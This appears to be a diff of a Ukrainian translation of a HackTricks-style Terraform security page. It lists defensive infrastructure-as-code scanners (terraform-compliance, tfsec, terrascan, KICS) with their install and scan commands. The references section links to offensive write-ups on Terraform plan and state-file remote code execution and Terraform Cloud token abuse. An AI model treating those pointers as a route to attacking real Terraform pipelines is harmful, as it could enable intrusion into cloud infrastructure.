- **розробка, орієнтована на поведінку:** У нас є BDD практично для всього, чому б не для IaC?
|
||||
- **переносимість:** просто встановіть його з `pip` або запустіть через `docker`. Дивіться [Встановлення](https://terraform-compliance.com/pages/installation/)
|
||||
- **попереднє розгортання:** він перевіряє ваш код перед його розгортанням
|
||||
- **легкість інтеграції:** він може працювати у вашому конвеєрі (або в git hooks), щоб забезпечити перевірку всіх розгортань.
|
||||
- **сегрегація обов'язків:** ви можете зберігати свої тести в іншому репозиторії, де за це відповідає окрема команда.
|
||||
- **відповідність:** Переконатися, що реалізований код відповідає стандартам безпеки та вашим власним стандартам
|
||||
- **розробка, орієнтована на поведінку:** Ми використовуємо BDD майже для всього, чому б не для IaC?
|
||||
- **портативність:** просто встановіть його через `pip` або запустіть у `docker`. Див. [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **передрозгортання:** він перевіряє ваш код перед його розгортанням
|
||||
- **легко інтегрується:** він може запускатися у вашому pipeline (або в git hooks), щоб гарантувати валідацію всіх розгортань.
|
||||
- **розподіл обов'язків:** ви можете зберігати тести в окремому репозиторії, де відповідальна окрема команда.
|
||||
|
||||
> [!NOTE]
|
||||
> На жаль, якщо код використовує деякі провайдери, до яких у вас немає доступу, ви не зможете виконати `terraform plan` і запустити цей інструмент.
|
||||
@@ -321,57 +348,70 @@ terraform-compliance -f /path/to/folder
|
||||
```
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
З [**документації**](https://github.com/aquasecurity/tfsec): tfsec використовує статичний аналіз вашого коду terraform для виявлення потенційних неправильних налаштувань.
|
||||
З [**docs**](https://github.com/aquasecurity/tfsec): tfsec використовує статичний аналіз вашого terraform-коду для виявлення потенційних помилок конфігурації.
|
||||
|
||||
- ☁️ Перевіряє неправильні налаштування у всіх основних (і деяких незначних) хмарних провайдерів
|
||||
- ☁️ Перевіряє на помилки конфігурації в усіх основних (і деяких менш значних) хмарних провайдерах
|
||||
- ⛔ Сотні вбудованих правил
|
||||
- 🪆 Сканує модулі (локальні та віддалені)
|
||||
- ➕ Оцінює HCL вирази, а також літеральні значення
|
||||
- ↪️ Оцінює функції Terraform, наприклад, `concat()`
|
||||
- 🔗 Оцінює відносини між ресурсами Terraform
|
||||
- ➕ Оцінює HCL-вирази та буквальні значення
|
||||
- ↪️ Оцінює Terraform-функції, напр. `concat()`
|
||||
- 🔗 Оцінює зв'язки між Terraform-ресурсами
|
||||
- 🧰 Сумісний з Terraform CDK
|
||||
- 🙅 Застосовує (та прикрашає) визначені користувачем політики Rego
|
||||
- 🙅 Застосовує (та доповнює) користувацькі Rego-політики
|
||||
- 📃 Підтримує кілька форматів виводу: lovely (за замовчуванням), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Налаштовуваний (через CLI флаги та/або конфігураційний файл)
|
||||
- ⚡ Дуже швидкий, здатний швидко сканувати величезні репозиторії
|
||||
- 🛠️ Налаштовується (через CLI-флаги та/або конфігураційний файл)
|
||||
- ⚡ Дуже швидкий, здатний оперативно сканувати великі репозиторії
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Terrascan — це статичний аналізатор коду для інфраструктури як коду. Terrascan дозволяє вам:
|
||||
|
||||
- Безшовно сканує інфраструктуру як код на предмет помилок конфігурації.
|
||||
- Моніторить надану хмарну інфраструктуру на предмет змін конфігурації, які спричиняють відхилення безпекового стану, і дозволяє повернутися до безпечного стану.
|
||||
- Виявляє вразливості безпеки та порушення відповідності.
|
||||
- Знижує ризики до розгортання cloud native інфраструктури.
|
||||
- Надає гнучкість запуску локально або інтеграції з вашим CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
terrascan scan -d /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Знайдіть вразливості безпеки, проблеми з відповідністю та неправильні налаштування інфраструктури на ранніх етапах циклу розробки вашої інфраструктури як коду за допомогою **KICS** від Checkmarx.
|
||||
Виявляйте вразливості безпеки, проблеми відповідності та неправильні конфігурації інфраструктури на ранніх етапах життєвого циклу вашої infrastructure-as-code за допомогою **KICS** від Checkmarx.
|
||||
|
||||
**KICS** означає **K**eeping **I**nfrastructure as **C**ode **S**ecure, це програмне забезпечення з відкритим кодом і є обов'язковим для будь-якого проекту, що використовує хмарні технології.
|
||||
**KICS** розшифровується як **K**eeping **I**nfrastructure as **C**ode **S**ecure; це проєкт з відкритим кодом і необхідний інструмент для будь-якого cloud native проєкту.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
З [**документації**](https://github.com/tenable/terrascan): Terrascan - це статичний аналізатор коду для Інфраструктури як Код. Terrascan дозволяє вам:
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan — це статичний аналізатор коду для інфраструктури як коду (Infrastructure as Code). Terrascan дозволяє:
|
||||
|
||||
- Безперешкодно сканувати інфраструктуру як код на наявність неправильних налаштувань.
|
||||
- Моніторити надану хмарну інфраструктуру на предмет змін конфігурації, які можуть призвести до зміщення позиції, та дозволяє повернутися до безпечної позиції.
|
||||
- Безшовно сканувати інфраструктуру як коду на предмет помилок конфігурації.
|
||||
- Моніторити створену хмарну інфраструктуру на предмет змін конфігурації, що призводять до відхилення безпечного стану (posture drift), та дозволяє відкотитися до безпечного стану.
|
||||
- Виявляти вразливості безпеки та порушення відповідності.
|
||||
- Зменшувати ризики перед наданням хмарної нативної інфраструктури.
|
||||
- Пропонує гнучкість для локального запуску або інтеграції з вашим CI\CD.
|
||||
- Знижувати ризики до розгортання хмарної інфраструктури.
|
||||
- Надає гнучкість запуску локально або інтеграції з вашим CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [Atlantis Security](atlantis-security.md)
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Зловживання токеном Terraform Cloud turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Дозволи Terraform Cloud](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
|
||||
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
- [Конфігурація провайдера AWS](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – Припущення ролі через OIDC](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Використання Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Чутливі змінні](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: небезпеки платформ автоматизації Terraform](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user